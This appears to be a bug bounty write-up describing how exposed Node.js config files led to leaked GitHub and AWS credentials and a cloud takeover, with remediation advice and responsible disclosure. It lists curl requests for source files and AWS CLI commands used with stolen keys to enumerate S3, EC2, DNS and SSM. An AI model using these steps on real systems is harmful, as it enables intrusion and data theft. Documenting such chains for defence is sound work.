From Source Code Disclosure to Full AWS Cloud Takeover – A Real-World Bug Hunting Story

---

Disclaimer: This post is for educational purposes only. All sensitive references to the original target have been replaced with reacted.com.

---

🎯 Introduction

In this write‑up, I walk through how I discovered, exploited, and ultimately took control of a company’s AWS infrastructure due to a misconfigured Node.js server at http://reacted.com. The journey led from simple file disclosures… to full cloud compromise.

---

🔍 Reconnaissance & Discovery

Initial reconnaissance was performed using Censys.io, where I searched for publicly exposed services belonging to reacted.com. One particular hit revealed the server’s direct IP address, which exposed the Node.js application without the usual domain-level redirects. Visiting http://<discovered-ip> brought me directly to the backend application that was supposed to be hidden behind a proxy.

Manual Enumeration

curl http://reacted.com/package.json
curl http://reacted.com/bin/www
curl http://reacted.com/app.js
curl http://reacted.com/config/prod.json

To my surprise, the server responded with actual backend source code files.

Key files retrieved:

• /package.json

• /bin/www

• /app.js

• /config/prod.json, /config/demo.json, /config/qa.json, /config/stage.json, /config/dev.json

---

🔑 Credential Leakage in package.json

Inside package.json, I found a GitHub Personal Access Token (PAT) hard‑coded as follows:

I tested it using:

curl -H "Authorization: token ghp_xxxxx"          -H "Accept: application/vnd.github+json"      https://api.github.com/user/repos

➡️ This gave me read/write access to private GitHub repositories of reacted.com.

---

📦 Extracting More Secrets from Repositories

With repo access, I cloned the backend services and found .env files containing AWS credentials. Additionally, config/prod.json on the web server leaked secrets:

• TWILIO_ACCOUNT_SID / TWILIO_TOKEN

• RECAPTCHA_SECRET_KEY

• AWS_ACCESS_KEY_ID

• AWS_SECRET_ACCESS_KEY

Proof‑of‑Concept snippet from prod.json:

---

☁️ Weaponizing AWS Credentials

Using the stolen AWS keys, I set up the AWS CLI:

aws configure
# Access key, Secret key, Default region from config

Then I started enumerating the environment:

• aws sts get-caller-identity ➡️ confirmed access

  

• aws s3 ls ➡️ dump company S3 buckets

• 

• aws ec2 describe-instances ➡️ list EC2 machines

• 

• aws route53 list-hosted-zones ➡️ DNS zones

• 

• aws ssm describe-instance-information ➡️ identify systems using AWS SSM Agent

• 

Full Control

From here, I was able to:

• Download production backups from S3

• SSH into EC2 instances using IAM roles and SSM

• Modify DNS records to hijack subdomains

• Potentially inject backdoors into deployment pipelines (CI/CD)

---

💣 Impact Summary

---

🔧 Remediation Recommendations

To prevent this class of vulnerability, the following changes were recommended to reacted.com:

• Immediately revoke the GitHub token & all exposed secrets

• Implement .gitignore and never include .env, .json, credentials in codebase

• Restrict direct access to .js, .json, .env paths on production web servers

• Use AWS IAM roles and secret stores (AWS Secrets Manager or Hashicorp Vault)

• Enforce principle of least privilege

---

🏁 Conclusion & Bounty

Within 48 hours I responsibly reported this chain of vulnerabilities to reacted.com via their bug bounty program. They responded quickly, revoked all affected keys, and rewarded me with a generous bounty for uncovering this critical flaw.

💡 Remember: Sometimes the smallest misconfiguration (like exposing package.json) can result in total infrastructure takeover.

---

Happy hacking & stay safe!